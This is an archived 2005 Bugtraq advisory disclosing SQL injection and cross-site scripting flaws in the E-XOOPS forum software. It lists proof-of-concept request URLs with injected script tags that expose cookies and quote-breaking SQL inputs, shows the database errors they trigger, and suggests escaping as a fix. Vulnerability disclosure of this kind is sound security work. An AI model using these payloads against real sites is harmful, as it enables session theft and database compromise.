bugtraq - Multiple Sql injection, and multiple XSS vulnerabilities in Easy Community Management System Forum (E-XOOPS)

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Message-ID: <20050327220258.5374.qmail@www.securityfocus.com>
Date: 27 Mar 2005 22:02:58 -0000
From: <dcrab@...kerscenter.com>
To: bugtraq@...urityfocus.com
Subject: Multiple Sql injection, and multiple XSS vulnerabilities in Easy
    Community Management System Forum (E-XOOPS)




-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Dcrab 's Security Advisory
http://icis.digitalparadox.org/~dcrab
http://www.hackerscenter.com/

Severity:  High
Title: Multiple Sql injection, and multiple XSS vulnerabilities in
Easy Community Management System Forum (E-XOOPS)
Date: March  28,  2005

Summary:
There are multiple sql injection, xss vulnerabilities in the Easy
Community Management System Forum (E-XOOPS)
Vendor: E-Xoops
Vendor website: www.exoops.info

Proof of Concept Exploits:

http://localhost/modules/newbb/viewforum.php?sortname=p.post_time&sort
order=ASC&sortdays=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%
3E&forum=25&refresh=Vai
Pops cookie


http://localhost/modules/newbb/index.php?viewcat=%22%3E%3Cscript%3Eale
rt(document.cookie)%3C/script%3E
Pops cookie


http://localhost/modules/newbb/index.php?viewcat='SQL_INJECTION
SQL ERROR AND POSSIBLE INJECTION
Error

SELECT f.*, u.uname, u.uid, p.topic_id, p.post_time, p.subject,
p.icon FROM e_xoops_bb_forums f LEFT JOIN e_xoops_bb_posts p ON
p.post_id = f.forum_last_post_id LEFT JOIN e_xoops_users u ON u.uid =
p.uid WHERE f.cat_id = \'SQL_INJECTION ORDER BY f.cat_id,
f.forum_name


http://localhost/modules/sections/index.php?op=viewarticle&artid=9%2c+
9%2c+9
SQL ERROR AND POSSIBLE INJECTION

Errore Numero: 2 [Attenzione]
Message errore: mysql_fetch_row(): supplied argument is not a valid
MySQL result resource
In File: /var/www/*************/09/class/database/mysql.php
On Line: 151

Errore Numero: 2 [Attenzione]
Message errore: mysql_fetch_row(): supplied argument is not a valid
MySQL result resource
In File: /var/www/*************/09/class/database/mysql.php
On Line: 151 


Possible fix: The usage of htmlspeacialchars(),
mysql_escape_string(), mysql_real_escape_string() and other functions
for input validation before passing user input to the mysql database,
or before echoing data on the screen, would solve these problems.

Author:
These vulnerabilties have been found and released by Diabolic Crab,
Email: dcrab[AT|NOSPAM]hackersenter[DOT|NOSPAM]com, please feel free
to contact me regarding these vulnerabilities. You can find me at,
http://www.hackerscenter.com or
http://icis.digitalparadox.org/~dcrab. Lookout for my soon to come
out book on Secure coding with php.

-----BEGIN PGP SIGNATURE-----
Version: PGP 8.1 - not licensed for commercial use: www.pgp.com

iQA/AwUBQkbLJCZV5e8av/DUEQJDWACfc/2aBR87DepZ2jVVTok2Pfww1cMAn0J3
HI/E6boKXH3OlGAch+b4z0me
=Yl6f
-----END PGP SIGNATURE-----